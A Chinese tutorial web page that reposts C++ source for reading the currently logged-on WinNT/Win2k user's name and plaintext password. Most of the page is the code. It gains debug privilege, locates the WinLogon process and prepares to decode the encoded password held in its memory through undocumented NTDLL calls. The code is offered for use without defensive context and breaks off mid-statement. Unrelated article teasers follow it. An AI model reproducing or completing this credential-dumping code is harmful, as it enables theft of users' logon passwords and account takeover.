获取WinNT/Win2k当前用户名和密码

2016-02-19 13:13 8 1 收藏

最近很多朋友喜欢上设计,但是大家却不知道如何去做,别担心有图老师给你解答,史上最全最棒的详细解说让你一看就懂。

【 tulaoshi.com - 编程语言 】


  本文所用的代码原创作者已不知.是ccrun的一个朋友磨刀老头提供给的,在此对作者表示感谢.经ccrun(老妖)在Win2k下试验成功.
  
  // 获取WinNT/Win2k当前用户名和密码,调用以下函数即可:
  // bool GetPassWord(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
  //---------------------------------------------------------------------------
  typedef strUCt _UNICODE_STRING
  {
      USHORT Length;
      USHORT MaximumLength;
      PWSTR Buffer;
  }UNICODE_STRING, *PUNICODE_STRING;
  typedef struct _QUERY_SYSTEM_INFORMATION
  {
      DWORD GrantedAccess;
      DWORD PID;
      WORD HandleType;
      WORD HandleId;
      DWORD Handle;
  }QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
  typedef struct _PROCESS_INFO_HEADER
  {
      DWORD Count;
      DWORD Unk04;
      DWORD Unk08;
  }PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
  typedef struct _PROCESS_INFO
  {
      DWORD LoadAddress;
      DWORD Size;
      DWORD Unk08;
      DWORD Enumerator;
      DWORD Unk10;
      char Name [0x108];
  }PROCESS_INFO, *PPROCESS_INFO;
  typedef struct _ENCODED_PASSWORD_INFO
  {
      DWORD HashByte;
      DWORD Unk04;
      DWORD Unk08;
      DWORD Unk0C;
      FILETIME LoggedOn;
      DWORD Unk18;
      DWORD Unk1C;
      DWORD Unk20;
      DWORD Unk24;
      DWORD Unk28;
      UNICODE_STRING EncodedPassword;
  }ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;
  
  typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);
  typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
  
   typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
  typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
  typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);
  
  // Private Prototypes
  BOOL IsWinNT(void);
  BOOL IsWin2K(void);
  BOOL AddDebugPrivilege(void);
  DWORD FindWinLogon(void);
  BOOL LocatePasswordPageWinNT(DWORD, PDWORD);
  BOOL LocatePasswordPageWin2K(DWORD, PDWORD);
  void ReturnWinNTPwd(String &, String &, String &);
  void ReturnWin2kPwd(String &, String &, String &);
  bool GetPassword(String &, String &, String &);
  
  // Global Variables
  PFNNTQUERYSYSTEMINFORMATION        pfnNtQuerySystemInformation;
  PFNRTLCREATEQUERYDEBUGBUFFER       pfnRtlCreateQueryDebugBuffer;
  PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
  PFNRTLDESTROYQUERYDEBUGBUFFER      pfnRtlDestroyQueryDebugBuffer;
  PFNTRTLRUNDECODEUNICODESTRING      pfnRtlRunDecodeUnicodeString;
  
  DWORD dwPwdLen = 0;
  PVOID pvRealPwd = NULL;
  PVOID pvPwd = NULL;
  DWORD dwHashByte = 0;
  wchar_t wszUserName[0x400];
  wchar_t wszUserDomain[0x400];
  //---------------------------------------------------------------------------
  bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
  {
          if(!IsWinNT() && !IsWin2K())
      {
          // 只适合于2000或者XP
          return false;
      }
      // Add debug privilege to PasswordReminder -
      // this is needed for the search for WinLogon.
      if(!AddDebugPrivilege())
      {
          // 不能够添加debug特权
          return false;
      }
      // debug特权已经成功加入到本程序
      HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
  
       pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)
              GetProcAddress(hNtDll,"NtQuerySystemInformation");
      pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)
              GetProcAddress(hNtDll,"RtlCreateQueryDebugBuffer");
      pfnRtlQueryProcessDebugInformation =(PFNRTLQUERYPROCESSDEBUGINFORMATION)
              GetProcAddress(hNtDll,"RtlQueryProcessDebugInformation");
      pfnRtlDe

来源:http://www.tulaoshi.com/n/20160219/1603375.html

延伸阅读
标签: 服务器
FlashFXP查看已连接ftp用户名与密码图解   1.打开flashfxp文件,然后如下图所示 2.点击要连接的ftp用户号,然后点击连接,连接上了如下图所示 3.然后我们右击连接上服务器的一个文件,然后点击复制文件,然后右击,在弹出菜单选择复制,然后会弹出是否复制用户名与密码,我们点击是 4.之后我们再打开记事本...
标签: PHP
$action="select user,psw from ta_user where user='$user' and psw='$psw' "; $ok=mysql_query($action,$link); if ($ok){ echo "yes";} else { echo "no";} 简单了点哈,但是就是等不到一个执行结果$ok没有执行成功和执行成功都返回一样的字符?【论坛浏览】   相关评论作者: bluesboy 发布日期: 2006-10-07在...
标签: Web开发
客户端收集表单信息。 使用XMLHttpRequest对象提交到服务器。 服务器完成验证的逻辑,返回结果信息。 浏览器端根据服务器返回的信息对用户做出一定的提示。 不过由于我的空间不支持任何服务器段语言,所以把本应在服务器的逻辑搬到了浏览器,由JavaScript来做,服务器只负责提供一个用户名的列表。最后的效果如下,试着输入test,cainiao8这...
标签: word
Word批注怎样删掉用户名   Word批注怎样删掉用户名 有时候Word在添加批注的时候,自己的姓名会出现,而人们却又想匿名注释。那么Word批注怎样删掉用户名?下面一起来看看操作方法。以下会非常全面的介绍,2003和2010都有介绍,2007用户参考一下2010版的吧! Word2003删除方法 1、打开文档并添加批注后,找到工具选项...
标签: Web开发
html head style body         { font-size: 10pt; background-color:#D4D0C8 } td           { font-size: 9pt } /style /head script language="javascript" /* 程序标题:javascr...

经验教程

471

收藏

93
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部